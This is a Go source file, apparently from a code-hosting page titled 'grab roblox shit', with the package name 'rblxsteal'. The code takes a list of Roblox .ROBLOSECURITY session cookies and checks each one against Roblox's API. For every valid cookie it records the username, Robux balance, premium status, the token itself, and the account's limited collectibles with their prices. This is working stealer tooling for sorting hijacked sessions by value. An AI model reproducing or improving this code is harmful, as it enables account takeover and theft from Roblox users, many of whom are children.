grab roblox shit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

94 lines
2.0KB

  1. package rblxsteal
  2. import (
  3. "encoding/json"
  4. "fmt"
  5. "io/ioutil"
  6. "log"
  7. "net/http"
  8. )
  9. type UserInfo struct {
  10. UserID int `json:"UserID"`
  11. UserName string `json:"UserName"`
  12. Robux int `json:"RobuxBalance"`
  13. Thumbnail string `json:"ThumbnailUrl"`
  14. BuildersClub bool `json:"IsAnyBuildersClubMember"`
  15. IsPremium bool `json:"IsPremium"`
  16. Limiteds []Asset
  17. Token string
  18. }
  19. type Asset struct {
  20. Name string `json:"name"`
  21. RecentAveragePrice float64 `json:"recentAveragePrice"`
  22. }
  23. type Response struct {
  24. Data []Asset `json:"data"`
  25. }
  26. func CheckToken(token string) (UserInfo, bool) {
  27. client := http.Client{}
  28. userinfo := UserInfo{}
  29. req, err := http.NewRequest("GET", "https://www.roblox.com/mobileapi/userinfo", nil)
  30. if err != nil {
  31. log.Fatal(err)
  32. }
  33. cookie := http.Cookie{Name: ".ROBLOSECURITY", Value: token}
  34. req.AddCookie(&cookie)
  35. res, err := client.Do(req)
  36. body, err := ioutil.ReadAll(res.Body)
  37. sb := string(body)
  38. if len(sb) > 500 {
  39. return UserInfo{}, false
  40. } else {
  41. err := json.Unmarshal([]byte(sb), &userinfo)
  42. if err != nil {
  43. log.Fatal(err)
  44. }
  45. return userinfo, true
  46. }
  47. }
  48. func GetLimiteds(id int) []Asset {
  49. client := http.Client{}
  50. req, err := http.NewRequest("GET", "https://inventory.roblox.com/v1/users/"+fmt.Sprint(id)+"/assets/collectibles", nil)
  51. if err != nil {
  52. log.Fatal(err)
  53. }
  54. res, err := client.Do(req)
  55. body, err := ioutil.ReadAll(res.Body)
  56. sb := string(body)
  57. var response Response
  58. assets := []Asset{}
  59. err = json.Unmarshal([]byte(sb), &response)
  60. if err != nil {
  61. log.Fatal(err)
  62. }
  63. for _, asset := range response.Data {
  64. tmpAsset := Asset{asset.Name, asset.RecentAveragePrice}
  65. assets = append(assets, tmpAsset)
  66. }
  67. return assets
  68. }
  69. func GetRobloxStuff(cookies []string) []UserInfo {
  70. users := []UserInfo{}
  71. for _, i := range cookies {
  72. userInfo, valid := CheckToken(i)
  73. userInfo.Token = i
  74. if valid != false {
  75. userInfo.Limiteds = GetLimiteds(userInfo.UserID)
  76. users = append(users, userInfo)
  77. } else {
  78. }
  79. }
  80. return users
  81. }